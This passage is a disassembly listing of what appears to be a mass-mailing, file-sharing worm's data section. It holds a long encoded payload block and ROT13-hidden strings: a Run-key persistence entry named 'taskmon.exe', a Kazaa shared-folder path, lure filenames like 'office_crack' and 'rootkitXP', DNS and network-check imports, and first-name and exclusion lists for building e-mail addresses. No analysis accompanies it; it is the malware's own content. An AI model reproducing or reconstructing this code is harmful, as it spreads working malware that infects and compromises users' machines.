  461.         dd 6ED9CFD6h, 23032995h, 0BF0994E9h, 41A5F3E6h,    327CA610h
  462.         dd 806B6DC8h, 0C72D0B21h, 8210D24Eh, 0A773F96Ch, 8714DE77h
  463.         dd 52FB0707h, 0C06101AAh, 26F79B2Ch, 9D97DD96h,    460F6022h
  464.         dd 2CFDCD9Eh, 0B2937F40h, 2009F1D2h, 63687658h,    5152505Dh
  465.         dd 77646A53h, 0EFC52C01h, 57BC3054h, 9DCE3C11h,    0E3206E57h
  466.         dd 0D1DA60ADh, 66CE1552h, 0C041B75Fh, 9365E414h, 72FE789Fh
  467.         dd 6AE7BC0Dh, 137B7B95h, 1C7D7676h, 0F6F22D0Dh,    0D1F1B0F4h
  468.         dd 0DDFA79E7h, 0FFA3654Ch, 0DD8C6C27h, 1B8CDB0Bh, 8775BDA9h
  469.         dd 14DB4F3Bh, 9144282h,    0F82CC45h, 29B762FAh, 8315FB73h
  470.         dd 7E931EE7h, 296924B4h, 0CB28BDFFh, 0E774EEAh,    0F7BFB03Ah
  471.         dd 73ECD454h, 4D987398h, 0A2F29D06h, 0F362C2AFh, 0DF375EE5h
  472.         dd 7527105h, 7E401BF8h,    0A9A73E54h, 7D022C4Fh, 6E7C830h
  473.         dd 1A2A54D2h, 9D014C6Bh, 0FA6AF604h, 0F806C71Dh, 0AB04901Dh
  474.         dd 6060096h, 99EF2B10h,    17FF4ED4h, 930B2FC3h, 2175F8C6h
  475.         dd 0FF5FA48Ch, 0EB6B72CCh, 0FDA5FE6Fh, 0C941D0ECh, 0C4D99178h
  476.         dd 0E8C726ACh, 1AB7A9E0h, 29EC6F5Dh, 0F3BCA310h, 516FF5EDh
  477.         dd 0D68D3521h, 29481C53h, 5CB7E318h, 0CDB89D3Fh, 0E35552D0h
  478.         dd 0BEEA43B5h, 0A0A0E367h, 49CEE232h, 302F243Ah, 84AE8F0Ah
  479.         dd 0A14075E1h, 0F5B29862h, 0E3E04A30h, 0C18191FFh, 88770727h
  480.         dd 0B3548F67h, 0FEE20885h, 61AB4582h, 0BBDA748Eh, 0F0AE382Ah
  481.         dd 9C18D44Ah, 0C2488A17h, 0FB9EBCB5h, 6EE6561Fh, 473BE090h
  482.         dd 0B71AA0B3h, 0C4BCAAD2h, 0A64893F7h, 0FF04C001h, 5D8B1206h
  483.         dd 94BDD8A9h, 0E81FF831h, 0DF3E635Ah, 42CA0AD6h, 605E0CD5h
  484.         dd 0F4F57249h, 1753F4AEh, 0F21516FCh, 70739A8Eh, 0E2B1823Ch
  485.         dd 535B378Eh, 9427A216h, 0B1AC5854h, 0AA3E3735h, 21956575h
  486.         dd 841AEB6Eh, 0AE66A81h, 953A3F18h, 0E382819Fh,    3D47A473h
  487.         dd 2ED60209h, 0D5A7C288h, 0EA5C8A3Fh, 5F3B569Fh, 79C34A3Dh
  488.         dd 0B809435Fh, 0CE9AABF0h, 0D985B21Eh, 3BD4C14Bh, 0DFCFC3A7h
  489.         dd 4AF947F6h, 2DFBD8F7h, 62678AB4h, 11AD58FFh, 5BF7228Ch
  490.         dd 85DF58CBh, 65E0ACFCh, 9497EBDAh, 0EF0860E2h,    0ECE33C3Fh
  491.         dd 608E107Fh, 9B4DDD7Eh, 1B059DE4h, 0CCDB7A97h,    8F37FBB3h
  492.         dd 1D39F125h, 0F51A7CB2h, 9FBD1F1Dh, 0E9EAC6E9h, 96D93EEBh
  493.         dd 0DA3BFD70h, 0F3F62545h, 4D6E7A4h, 0FE394C21h, 8987A45Bh
  494.         dd 0D3049D92h, 2A8D5BB0h, 0CA1B4236h, 5034E4D1h, 0C51CC3ACh
  495.         dd 6C8A66E1h, 4251335Bh, 0AB233EEDh, 94EED762h,    0E9B234F4h
  496.         dd 5EAC49D5h, 6DBCAE26h, 5B956779h, 82A48637h, 0C387AE3Dh
  497.         dd 0B680B087h, 0BBDF43DFh, 2F65808Bh, 0CB32A81Eh, 37932AB5h
  498.         dd 62E27943h, 0EDBA5A34h, 226C5C69h, 73D518ACh,    86C8EBE1h
  499.         dd 4F495A2Fh, 37F343F1h, 18366FCBh, 0A12D673Dh,    124298F1h
  500.         dd 0CAC10DB8h, 0F86B0A6Bh, 78D8D05h, 88E8979Eh,    0B8B2B650h
  501.         dd 32CFC3D9h, 7EDA5F81h, 1DD0F75Fh, 31B4A0Dh, 3F0F7D3Ah
  502.         dd 0F1184F0Bh, 0B588E12Bh, 0D4F72437h, 6F371F07h, 5D906BCDh
  503.         dd 9F979642h, 2F9D9FA2h, 86405626h, 0B5AC1BF7h,    3B27BC5Ah
  504.         dd 899DA424h, 4FA5C8D3h, 68FA36h, 195D3EBEh, 14C9F5D6h
  505.         dd 8EE4F0C9h, 0B89362Ch, 0D1EB86E0h, 6C330A0Bh,    8636B35Bh
  506.         dd 8ABDE492h, 0B9C7A030h, 0DED0BC5Eh, 4AC8C1ABh, 5DBF82D7h
  507.         dd 939EA0E5h, 40D82590h, 9A0312Fh, 130B3A6h, 0AD5FD8A1h
  508.         dd 18BC6891h, 2CF53972h, 8B6163A1h, 26411A1Eh, 0AA471B37h
  509.         dd 0C5BBF0D9h, 4CE031E6h, 0FAE8692Ch, 0F770C611h, 0A247FB43h
  510.         dd 0F7D5A0DAh, 0B5BFC528h, 4D17095h, 4D54D2F5h,    3D96FF69h
  511.         dd 2CA50693h, 0C7839BAh, 23029DDBh, 965599C3h, 875B84h
  512.         dd 34333C27h, 1DF63580h, 5EA624F3h, 0DA38EFC6h,    0DF87AADCh
  513.         dd 3F2F72D8h, 96F6E4C4h, 35448F36h, 0D541F547h,    67692691h
  514.         dd 2CDA13CAh, 29096D32h, 415A7311h, 3D3A0B56h, 0AC1D52F0h
  515.         dd 0F01AA62Fh, 1431FAB7h, 0F929726h, 5FA4A4B4h,    0CD05EBEh
  516.         dd 0B7CFCFh, 917AD36Bh,    92883854h, 0E70AE5B1h, 9A2595E0h
  517.         dd 944AC8C8h, 0A5038227h, 0B4F17BCEh, 0B0361DF3h, 917FD10Ch
  518.         dd 0FE257943h, 75368A52h, 0C1DBEF6Bh, 0FC623D9h, 0A415753Eh
  519.         dd 0BABCFDC0h, 5A083CC3h, 6E8673E7h, 7057B0D5h,    0A47E0F3Ah
  520.         dd 42D550DCh, 0AF8E0F3Fh, 40E0AB3Fh, 5494E373h,    14897F5Ch
  521.         dd 3EDF9B2h, 0BFE2218h,    95942A8Fh, 0FA614D1Dh, 13616F26h
  522.         dd 0C21DFE83h, 0E6FB3D0Ch, 34283F7Fh, 22AF2B9Eh, 0EBA229CDh
  523.         dd 0B80A0B67h, 667E4968h, 0D3AAAAC0h, 6875CB2Ah, 0A7917CA0h
  524.         dd 0A7DBDF48h, 2506FF1Ah, 0E5D70524h, 0E2EDE0ECh, 670EF9F8h
  525.         dd 0BB915697h, 0D7CD5CF4h, 0B7BA91DFh, 5D9AB93Fh, 395DAC88h
  526.         dd 976B71ECh, 2EC02BECh, 9DC56808h, 0B091B59h, 0B619299Ch
  527.         dd 59955953h, 0F976120Fh, 0AF91D49Bh, 4841B04Eh, 2887EEA0h
  528.         dd 0E9F67A6h, 0C84F3FC7h, 99C502B6h, 7364B55Ch,    0B6009B0Eh
  529.         dd 0EB145441h, 0C5EA8309h, 658EF900h, 2461685Eh, 0E1E3F656h
  530.         dd 0C8DA9352h, 0C6779B5Fh, 0D2CA89A2h, 0F122DBE4h, 0C91C8F1Fh
  531.         dd 40D5E869h, 0DC4CB878h, 0B3C9F17Ch, 0A06A806Eh, 0B9842B85h
  532.         dd 0E7CDABE0h, 9BB77F71h, 91B55A31h, 703408D2h,    0A3268C4Eh
  533.         dd 8A2C669h, 0C89B5D9Bh, 40FD5B8Bh, 5840DC96h, 0D54210CCh
  534.         dd 0C58BB0FCh, 0DFB28B6Dh, 1174F71Dh, 10A926DCh, 327E4A20h
  535.         dd 61E5BE41h, 7F72E94Bh, 4306BC27h, 13F95293h, 0BE5DF61Bh
  536.         dd 0FC29C40h, 8BC60099h
  537.         dd 0D786F5ACh, 779E82E0h, 0E6D4FA8Bh, 18C2104Eh, 0ED283E4Bh
  538.         dd 7F0A7CF9h, 6A87EE47h, 0FE99B976h, 5A6CAE5Dh,    1B4EB588h
  539.         dd 8E7189EBh, 6F6F1FCh,    135C797Ch, 0F5214FB1h, 622BF554h
  540.         dd 7063A47Dh, 4462AAB5h, 0C635912Ah, 22806698h,    2C558F58h
  541.         dd 0B141D878h, 10722C3Ah, 0ACEFDB70h, 0E4799265h, 4AF1F51Fh
  542.         dd 0F06B687Dh, 6D74C2E6h, 10FEC2E6h, 40C53D50h,    9A29BDAh
  543.         dd 17D8808h, 0A5C632F9h, 2C197407h, 20A8CEF3h, 0B58DDED6h
  544.         dd 0E56F7EA6h, 41475694h, 0EBEECCD8h, 0A4FF69Fh, 3AEE26E1h
  545.         dd 35AB459h, 9FF77145h,    0A0358308h, 0FFA25692h,    805A6E12h
  546.         dd 0F62EFD4Fh, 0F7A12B68h, 33FC3AA3h, 1947BD3Ch, 86D848A5h
  547.         dd 0C22BDF55h, 1F840B6Ch, 0CF17D886h, 0FDD4E905h, 0F5DAE5EBh
  548.         dd 63BCADA1h, 0F3033E4Eh, 1E1E8486h, 7B9ED2E7h,    3BBEA143h
  549.         dd 0EA349FB1h, 59DB598Ah, 0AC32AF63h, 29BEC550h, 0EA04E5C5h
  550.         dd 8901FE5Fh, 76CA7D14h, 8B4BC1F3h, 581B3C7Fh, 0CC81640Bh
  551.         dd 0DD704435h, 473210F0h, 0D8BA8449h, 9DA480D4h, 6B08E801h
  552.         dd 117D1139h, 3DF7E3EFh, 4718B4B0h, 8C9F3131h, 0EB8D368Ah
  553.         dd 0E3B45288h, 17A63BCFh, 0F67CA12h, 0B44777ADh, 0BC381ECDh
  554.         dd 0AF2BAC1Bh, 9019841h, 0B8010F03h, 39BDB411h,    2160750Dh
  555.         dd 1461ED1Bh, 66B288BBh, 82CD9455h, 6EA1CF55h, 0EB76AF19h
  556.         dd 2AA452B7h, 0EFB04B10h, 0EF2F9029h, 69295062h, 96A574AFh
  557.         dd 2804A76Dh, 0A27DD20Fh, 169936FFh, 0CA76CE0h,    825746BCh
  558.         dd 0A436EBE5h, 0E9A07C96h, 4A308F62h, 43283239h, 0A9C3AB7Eh
  559.         dd 0F9C0218Eh, 5A234322h, 4F24FC72h, 59FA2842h,    74C4CE80h
  560.         dd 0EE9ECB21h, 4F149855h, 22D14FECh, 5B128A5h, 13983AB9h
  561.         dd 0C9517F7Ah, 8E9D7968h, 16ECC2B1h, 56835E24h,    4C50F326h
  562.         dd 753478A7h, 0B57505D5h, 9BD4E0Eh, 0E131F977h,    74FB601Fh
  563.         dd 48D155D6h, 70E969DDh, 5BAD9A1Ch, 4686F9F0h, 0F146ADCBh
  564.         dd 0AD613AB3h, 0F3CA66A0h, 0B6F9AFB1h, 0A6CD0594h, 534E7E8Ch
  565.         dd 66B930AFh, 2D67E1F8h, 44402A28h, 0B68A7E78h,    4EA8AFE6h
  566.         dd 2DD6DE5Ch, 0AFADACAAh, 6FCA852Bh, 232BD815h,    0DDEC3B51h
  567.         dd 424ACFC9h, 0AAACEE93h, 216FF02Fh, 50EF8C7Ah,    0B55C2145h
  568.         dd 6233D73h, 0BAE52908h, 432250A9h, 936E63D2h, 28CDEEC6h
  569.         dd 927A13AAh, 34E7B38h,    0FF7BF309h, 0B436BFA1h,    0CA40B935h
  570.         dd 1085E517h, 86E445A9h, 2C7ED32Bh, 0A6CED5Dh, 8EC770BEh
  571.         dd 5E6C9DD0h, 0BE96F6ADh, 0D9EEE4FBh, 57F5E898h, 1D0B387Ah
  572.         dd 8C9E93F6h, 0FA1E47A7h, 23D3E888h, 0B0F74A54h, 85AAF560h
  573.         dd 128D6B0Eh, 0F09A47F6h, 61717E48h, 0E21D2D40h, 0F3B3E081h
  574.         dd 9BB9DE9Fh, 8BF4889Eh, 0D6F58C18h, 601A8A2Dh,    0E6640A93h
  575.         dd 998173Bh, 0B4F93F1Eh, 3371BAB2h, 0D3361F6Eh,    97581671h
  576.         dd 0D448417Dh, 5423050h, 6B4C125Bh, 0DBDBBEAFh,    19327B00h
  577.         dd 7CC4C075h, 53B4BA4Bh, 0A34316E7h, 916A5308h,    7FC8380Dh
  578.         dd 27328CF1h, 6761B93h,    0A108C622h, 0EE205A30h,    0C51FF67Bh
  579.         dd 610E92AFh, 753F72D7h, 42053C0Fh, 7CF5397Dh, 3162D200h
  580.         dd 816AD0BBh, 0ECEE56BBh, 844C5961h, 0C3BAB4C4h, 32584B01h
  581.         dd 0F81C93DAh, 0B863F3C7h, 4CFF7F9Dh, 7355AF1Bh, 569FDCA6h
  582.         dd 63FFFED7h, 1DBE8FABh, 0F9DE4DCBh, 0F6B7D3E5h, 9F3EEC1Ch
  583.         dd 6531B1FAh, 5B3A427Ah, 8D27B6h, 0CE0CB50h, 9510EDFDh
  584.         dd 85F667E6h, 598DF4FEh, 67C6FDA3h, 7ACA25F6h, 0E3677B08h
  585.         dd 0B1B5ECC6h, 3CE741B1h, 6B16D00Dh, 6B4B7E70h,    4EDA3E1Bh
  586.         dd 0BEBAA30h, 0D2E8A99Bh, 44B4D113h, 36BCEB06h,    0BA29D088h
  587.         dd 0FD515EA5h, 5B129E24h, 0BAA4A36Ah, 20C67F3Ah, 0CDC9870Fh
  588.         dd 0FC5E4CE7h, 7F79CE64h, 797AB5ADh, 35B92928h,    0C8EAAA49h
  589.         dd 4A2DC30Ch, 0DF344F62h, 5B783646h, 46BED191h,    0D5863150h
  590.         dd 534AD58Eh, 4627F5B9h, 952D1AAAh, 9BFC0B4Ah, 6BA223E6h
  591.         dd 0ADD80637h, 1F3E6085h, 0C1D4EA03h, 939AA4B1h, 95908E8Fh
  592.         dd 0C7B6A89Dh, 290CF2DBh, 0BB926C49h, 7D4816E7h, 6F2EF0B5h
  593.         dd 9144FAB3h, 0E38A34E1h, 65009E3Fh, 17A638CDh,    0F97C028Bh
  594.         dd 0B82FC79h, 0A09A9797h, 0D6C4B5A9h, 3C1E03EBh, 0D2A8815Dh
  595.         dd 98622FFFh, 8E4C0DD1h, 0B4661BD3h, 0AB05905h,    902AC767h
  596.         dd 46D465F9h, 2CAE33BBh, 42B831ADh, 88F25FCFh, 0FE5CBD21h
  597.         dd 0A4F64BA3h, 7AC00955h, 80BAF737h, 0B6E41549h, 1C3E638Bh
  598.         dd 0B2C8E1FDh, 78828F9Fh, 6E6C6D71h, 94867B73h,    0EAD0B9A5h
  599.         dd 704A2707h, 26F4C599h, 0CCE935Bh, 22D8914Dh, 6812BF6Fh
  600.         dd 0DE7C1DC1h, 8416AB43h, 5AE069F5h, 60DA57D7h,    787575E9h
  601.         dd 0A293877Eh, 0FCE1C9B4h, 865F3B1Ah, 400DDDB0h, 2AEBAF76h
  602.         dd 44F9B16Ch, 8E37E392h, 8A545E8h, 0B243D76Eh, 8C119924h
  603.         dd 960F8B0Ah, 0D03DAD20h, 3A9BFF66h, 0D42981DCh, 9EE73382h
  604.         dd 98D51558h, 0C2F3275Eh, 1C416994h, 0A6BFDBFAh, 606D7D90h
  605.         dd 4A4B4F56h, 6459514Ch, 0AE978372h, 2805E5C8h,    0D2A3774Eh
  606.         dd 0AC713904h, 0B66F2BEAh, 0F09D4D00h, 5AFB9F46h, 0F48921BCh
  607.         dd 0BE47D362h, 0B835B538h, 5353C73Eh, 71655C56h, 0BFA79280h
  608.         dd 3D19F8DAh, 0EBBB8E64h, 0C98D541Eh, 0D78F4A08h, 15C17022h
  609.         dd 8323C66Ch, 21B54CE6h, 0EF770290h, 0ED69E86Ah, 1B8BFE74h
  610.         dd 79DD44AEh, 75FBA18h,    0C51160B2h, 0B3F3367Ch,    0D1053C76h
  611.         dd 1F4772A0h, 9DB9D8FAh, 4B5B6E84h, 292D343Eh, 372F2A28h
  612.         dd 75615042h, 0E3C3A68Ch, 81552C06h, 4F17E2B0h,    4D09C88Ah
  613.         dd 7B2BDE94h, 0D97D24CEh, 67FF9A38h, 25B140D2h,    1393169Ch
  614.         dd 31A51C96h, 433A3431h, 85703EC7h, 0F7D6D8F9h,    996C421Bh
  615.         dd 6B32FCC9h, 6D28E6A7h, 9F4E6020h, 1A42A83h, 932AC461h
  616.         dd 55E06EFFh, 47C648CDh, 69DC3269h, 0BB22EC81h,    3D98F657h
  617.         dd 0EF3E90E5h, 0D1145AA3h, 0E31A343Ch, 25501E2Fh, 97B6D8FDh
  618.         dd 394C627Bh, 0B121C29h, 0D080607h, 3F2E2015h, 0A1840AEBh
  619.         dd 330A8407h, 0F5C08E5Fh, 0E7A608FBh, 9BC722Bh,    5B02CCBDh
  620.         dd 0DD7816B7h, 0F1EB055h, 71F47A03h, 0CDA831BAh, 2A21434Ah
  621.         dd 270690Fh, 0E2D23A63h, 7969A994h, 7CBE8945h, 55918525h
  622.         dd 1EEDC10Eh, 0EE44B553h, 47F168DFh, 8C7F9632h,    0C84ACF1Dh
  623.         dd 0D57CA925h, 6926B326h, 4B547FBh, 1C6E8262h, 0A24CE48Ah
  624.         dd 0B95100DDh, 4B2EE9A5h, 94B6A870h, 69273C27h,    9589687Bh
  625.         dd 0E69D80A2h, 7F89F3EBh, 0C21436Dh, 0E883F90Bh, 9E6C6D11h
  626.         dd 84460BDFh, 9A503168h, 0E08A37E7h, 56F49539h,    0FC8E23BBh
  627.         dd 0D258E16Dh, 0D852CF4Fh, 0F0EDED61h, 1A0BFFF6h, 7459412Ch
  628.         dd 0FED7B392h, 0B8855528h, 0A26327EEh, 0BC7129E4h, 6AF5B0Ah
  629.         dd 801DBD60h, 2ABB4FE6h, 489119Ch, 0E870382h, 48B52598h
  630.         dd 0B21377DEh, 4CA1F954h, 165FABFAh, 104D8DD0h,    3A6B9FD6h
  631.         dd 94B9E10Ch, 1E375372h, 0D8E5F508h, 0C2C3C7CEh, 0DCD1C9C4h
  632.         dd 260FFBEAh, 0A07D5D40h, 4A1BEFC6h, 24E9B17Ch,    2EE7A362h
  633.         dd 6815C578h, 0D27317BEh, 6C019934h, 36BF4BDAh,    30AD2DB0h
  634.         dd 0CBCB3FB6h, 0E9DDD4CEh, 371F0AF8h, 0B5917052h, 633306DCh
  635.         dd 4105CC96h, 4F07C280h, 8D39E89Ah, 0FB9B3EE4h,    992DC45Eh
  636.         dd 67EF7A08h, 65E160E2h, 930376ECh, 0F155BC26h,    7FD73290h
  637.         dd 3D89D82Ah, 2B6BAEF4h, 497DB4EEh, 97BFEA18h, 15315072h
  638.         dd 0C3D3E6FCh, 0A1A5ACB6h, 0AFA7A2A0h, 0EDD9C8BAh, 5B3B1E04h
  639.         dd 0F9CDA47Eh, 0C78F5A28h
  640.         dd 6E797328h, 2C632E63h, 2E302076h, 30322031h, 302F3430h
  641.         dd 78782F31h, 3A787820h, 783A7878h, 6E612078h, 297964h
  642. dword_4A2428    dd 207D4h, 0C0000h, 1C0002h, 39h ; DATA    XREF: start+32o
  643. dword_4A2438    dd 207D4h, 10000h, 90010h, 12h ; DATA XREF: start+3Eo
  644. ; const    CHAR String2
  645. String2        db '\'                  ; DATA XREF: sub_4A3962+7Eo
  646.                     ; sub_4A3B88+A6o ...
  647.         align 4
  648. dword_4A244C    dd 7A767566h, 76636E74h, 7979712Eh, 2 dup(0) ; DATA XREF: sub_4A3962+Fo
  649. aFbsgjnerZvpebf    db 'Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\PbzQyt32\'
  650.                     ; DATA XREF: sub_4A3AA3+11o
  651.         db 'Irefvba',0
  652. aFjrofvcpfzgkf0    db 'FjroFvcpFzgkF0',0   ; DATA XREF: sub_4A3B52+9o
  653.         align 4
  654. aGnfxzba_rkr    db 'gnfxzba.rkr',0      ; DATA XREF: sub_4A3B88+Fo
  655. aGnfxzba    db 'GnfxZba',0          ; DATA XREF: sub_4A3CD7+1Eo
  656. aFbsgjnerZvpe_0    db 'Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Eha',0
  657.                     ; DATA XREF: sub_4A3CD7+10o
  658.         align 4
  659. aNotepadS    db 'notepad %s',0       ; DATA XREF: StartAddress+141o
  660.         align 4
  661. aMessage    db 'Message',0          ; DATA XREF: StartAddress+66o
  662. aSUSU_2u_2u_2uS    db '%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u',0 ; DATA XREF: sub_4A40B3+14Eo
  663.         align 4
  664. asc_4A2534:                ; DATA XREF: sub_4A40B3+117o
  665.         unicode    0, <->,0
  666. asc_4A2538:                ; DATA XREF: sub_4A40B3+110o
  667.         unicode    0, <+>,0
  668. aDec        db 'Dec',0              ; DATA XREF: sub_4A40B3+8Do
  669. aNov        db 'Nov',0              ; DATA XREF: sub_4A40B3+86o
  670. aOct        db 'Oct',0              ; DATA XREF: sub_4A40B3+7Fo
  671. aSep        db 'Sep',0              ; DATA XREF: sub_4A40B3+78o
  672. aAug        db 'Aug',0              ; DATA XREF: sub_4A40B3+71o
  673. aJul        db 'Jul',0              ; DATA XREF: sub_4A40B3+6Ao
  674. aJun        db 'Jun',0              ; DATA XREF: sub_4A40B3+63o
  675. aMay        db 'May',0              ; DATA XREF: sub_4A40B3+5Co
  676. aApr        db 'Apr',0              ; DATA XREF: sub_4A40B3+55o
  677. aMar        db 'Mar',0              ; DATA XREF: sub_4A40B3+4Eo
  678. aFeb        db 'Feb',0              ; DATA XREF: sub_4A40B3+47o
  679. aJan        db 'Jan',0              ; DATA XREF: sub_4A40B3+40o
  680. aSat        db 'Sat',0              ; DATA XREF: sub_4A40B3+39o
  681. aFri        db 'Fri',0              ; DATA XREF: sub_4A40B3+32o
  682. aThu        db 'Thu',0              ; DATA XREF: sub_4A40B3+2Bo
  683. aWed        db 'Wed',0              ; DATA XREF: sub_4A40B3+24o
  684. aTue        db 'Tue',0              ; DATA XREF: sub_4A40B3+1Do
  685. aMon        db 'Mon',0              ; DATA XREF: sub_4A40B3+16o
  686. aSun        db 'Sun',0              ; DATA XREF: sub_4A40B3+Fo
  687. aAbcdefghijkl_0    db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_4A45E3+1Ao
  688.         align 4
  689. aAbcdefghijklmn    db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_4A45E3+Ao
  690.         align 4
  691. aVagreargtrgpba    db 'VagreargTrgPbaarpgrqFgngr',0 ; DATA XREF: sub_4A4681+44o
  692.         align 4
  693. aJvavarg_qyy    db 'jvavarg.qyy',0      ; DATA XREF: sub_4A4681+Ao
  694. aAhxr2004    db 'ahxr2004',0         ; DATA XREF: .text:004A11A8o
  695.         align 4
  696. aBssvpr_penpx    db 'bssvpr_penpx',0     ; DATA XREF: .text:004A11A4o
  697.         align 4
  698. aEbbgxvgkc    db 'ebbgxvgKC',0        ; DATA XREF: .text:004A11A0o
  699.         align 4
  700. aFgevcTvey2_0oq    db 'fgevc-tvey-2.0oqpbz_cngpurf',0 ; DATA XREF: .text:004A119Co
  701. aNpgvingvba_pen    db 'npgvingvba_penpx',0 ; DATA XREF: .text:004A1198o
  702.         align 4
  703. aVpd2004Svany    db 'vpd2004-svany',0    ; DATA XREF: .text:004A1194o
  704.         align 4
  705. aJvanzc5    db 'jvanzc5',0
  706. aT:                    ; DATA XREF: sub_4A46F7+19Ao
  707.         unicode    0, <t>,0
  708. aBa        db 'ba',0               ; DATA XREF: sub_4A46F7+192o
  709.         align 4
  710. aE:                    ; DATA XREF: sub_4A46F7+185o
  711.                     ; sub_4A6FCD+24Fo
  712.         unicode    0, <e>,0
  713. aEx        db 'ex',0               ; DATA XREF: sub_4A46F7+17Do
  714.         align 4
  715. aR:                    ; DATA XREF: sub_4A46F7+170o
  716.         unicode    0, <r>,0
  717. aSc        db 'sc',0               ; DATA XREF: sub_4A46F7+168o
  718.         align 4
  719. aF:                    ; DATA XREF: sub_4A46F7+15Bo
  720.         unicode    0, <f>,0
  721. aPi        db 'pi',0               ; DATA XREF: sub_4A46F7+153o
  722.         align 4
  723. a__1:                    ; DATA XREF: sub_4A46F7+124o
  724.                     ; sub_4A6FCD+1B1o ...
  725.         unicode    0, <.>,0
  726. aQyqve0        db 'QyQve0',0           ; DATA XREF: sub_4A46F7+28o
  727.         align 4
  728. aFbsgjnerXnmnnG    db 'Fbsgjner\Xnmnn\Genafsre',0 ; DATA XREF: sub_4A46F7+10o
  729. aIphlpapi_dll    db 'iphlpapi.dll',0     ; DATA XREF: .text:004A4FD4o
  730.         align 4
  731. aDnsquery_a    db 'DnsQuery_A',0       ; DATA XREF: sub_4A4EFE+33o
  732.         align 4
  733. aDnsapi_dll    db 'dnsapi.dll',0       ; DATA XREF: sub_4A4EFE+8o
  734.         align 4
  735. aGetnetworkpara    db 'GetNetworkParams',0 ; DATA XREF: .text:004A5002o
  736.         align 4
  737. aSandra        db 'sandra',0           ; DATA XREF: .text:004A13E8o
  738.         align 4
  739. aLinda        db 'linda',0            ; DATA XREF: .text:004A13E4o
  740.         align 4
  741. aJulie        db 'julie',0            ; DATA XREF: .text:004A13E0o
  742.         align 4
  743. aJimmy        db 'jimmy',0            ; DATA XREF: .text:004A13DCo
  744.         align 4
  745. aJerry        db 'jerry',0            ; DATA XREF: .text:004A13D8o
  746.         align 4
  747. aHelen        db 'helen',0            ; DATA XREF: .text:004A13D4o
  748.         align 4
  749. aDebby        db 'debby',0            ; DATA XREF: .text:004A13D0o
  750.         align 4
  751. aClaudia    db 'claudia',0          ; DATA XREF: .text:004A13CCo
  752. aBrenda        db 'brenda',0           ; DATA XREF: .text:004A13C8o
  753.         align 4
  754. aAnna        db 'anna',0             ; DATA XREF: .text:004A13C4o
  755.         align 4
  756. aAlice        db 'alice',0            ; DATA XREF: .text:004A13C0o
  757.         align 4
  758. aBrent        db 'brent',0            ; DATA XREF: .text:004A13BCo
  759.         align 4
  760. aAdam        db 'adam',0             ; DATA XREF: .text:004A13B8o
  761.         align 4
  762. aTed        db 'ted',0              ; DATA XREF: .text:004A13B4o
  763. aFred        db 'fred',0             ; DATA XREF: .text:004A13B0o
  764.         align 4
  765. aJack        db 'jack',0             ; DATA XREF: .text:004A13ACo
  766.         align 4
  767. aBill        db 'bill',0             ; DATA XREF: .text:004A13A4o
  768.         align 4
  769. aStan        db 'stan',0             ; DATA XREF: .text:004A13A0o
  770.         align 4
  771. aSmith        db 'smith',0            ; DATA XREF: .text:004A139Co
  772.         align 4
  773. aSteve        db 'steve',0            ; DATA XREF: .text:004A1398o
  774.         align 4
  775. aMatt        db 'matt',0             ; DATA XREF: .text:004A1394o
  776.         align 4
  777. aDave        db 'dave',0             ; DATA XREF: .text:004A1390o
  778.         align 4
  779. aDan        db 'dan',0              ; DATA XREF: .text:004A138Co
  780. aJoe        db 'joe',0              ; DATA XREF: .text:004A1388o
  781. aJane        db 'jane',0             ; DATA XREF: .text:004A1384o
  782.         align 4
  783. aBob        db 'bob',0              ; DATA XREF: .text:004A1380o
  784.                     ; .text:004A13A8o
  785. aRobert        db 'robert',0           ; DATA XREF: .text:004A137Co
  786.         align 4
  787. aPeter        db 'peter',0            ; DATA XREF: .text:004A1378o
  788.         align 4
  789. aTom        db 'tom',0              ; DATA XREF: .text:004A1374o
  790. aRay        db 'ray',0              ; DATA XREF: .text:004A1370o
  791. aMary        db 'mary',0             ; DATA XREF: .text:004A136Co
  792.         align 4
  793. aSerg        db 'serg',0             ; DATA XREF: .text:004A1368o
  794.         align 4
  795. aBrian        db 'brian',0            ; DATA XREF: .text:004A1364o
  796.         align 4
  797. aJim        db 'jim',0              ; DATA XREF: .text:004A1360o
  798. aMaria        db 'maria',0            ; DATA XREF: .text:004A135Co
  799.         align 4
  800. aLeo        db 'leo',0              ; DATA XREF: .text:004A1358o
  801. aJose        db 'jose',0             ; DATA XREF: .text:004A1354o
  802.         align 4
  803. aAndrew        db 'andrew',0           ; DATA XREF: .text:004A1350o
  804.         align 4
  805. aSam        db 'sam',0              ; DATA XREF: .text:004A134Co
  806. aGeorge        db 'george',0           ; DATA XREF: .text:004A1348o
  807.         align 4
  808. aDavid        db 'david',0            ; DATA XREF: .text:004A1344o
  809.         align 4
  810. aKevin        db 'kevin',0            ; DATA XREF: .text:004A1340o
  811.         align 4
  812. aMike        db 'mike',0             ; DATA XREF: .text:004A133Co
  813.         align 4
  814. aJames        db 'james',0            ; DATA XREF: .text:004A1338o
  815.         align 4
  816. aMichael    db 'michael',0          ; DATA XREF: .text:004A1334o
  817. aAlex        db 'alex',0             ; DATA XREF: .text:004A1330o
  818.         align 4
  819. aJohn        db 'john',0             ; DATA XREF: .text:004A1328o
  820.                     ; .text:004A132Co
  821.         align 4
  822. aAccoun        db 'accoun',0           ; DATA XREF: .text:004A131Co
  823.         align 4
  824. aCertific    db 'certific',0         ; DATA XREF: .text:004A1314o
  825.         align 4
  826. aListserv    db 'listserv',0         ; DATA XREF: .text:004A1310o
  827.         align 4
  828. aNtivi        db 'ntivi',0            ; DATA XREF: .text:004A1300o
  829.         align 4
  830. aSupport    db 'support',0          ; DATA XREF: .text:004A12FCo
  831. aIcrosoft    db 'icrosoft',0         ; DATA XREF: .text:004A12F8o
  832.         align 4
  833. aAdmin        db 'admin',0
  834.         align 4
  835. aPage        db 'page',0             ; DATA XREF: .text:004A12ECo
  836.         align 4
  837. aThe_bat    db 'the.bat',0          ; DATA XREF: .text:004A12E8o
  838. aGoldCerts    db 'gold-certs',0       ; DATA XREF: .text:004A12E4o
  839.         align 4
  840. aCa        db 'ca',0               ; DATA XREF: .text:004A12E0o
  841.         align 4
  842. aFeste        db 'feste',0            ; DATA XREF: .text:004A12DCo
  843.         align 4
  844. aSubmit        db 'submit',0           ; DATA XREF: .text:004A12D8o
  845.         align 4
  846. aNot        db 'not',0              ; DATA XREF: .text:004A12D4o
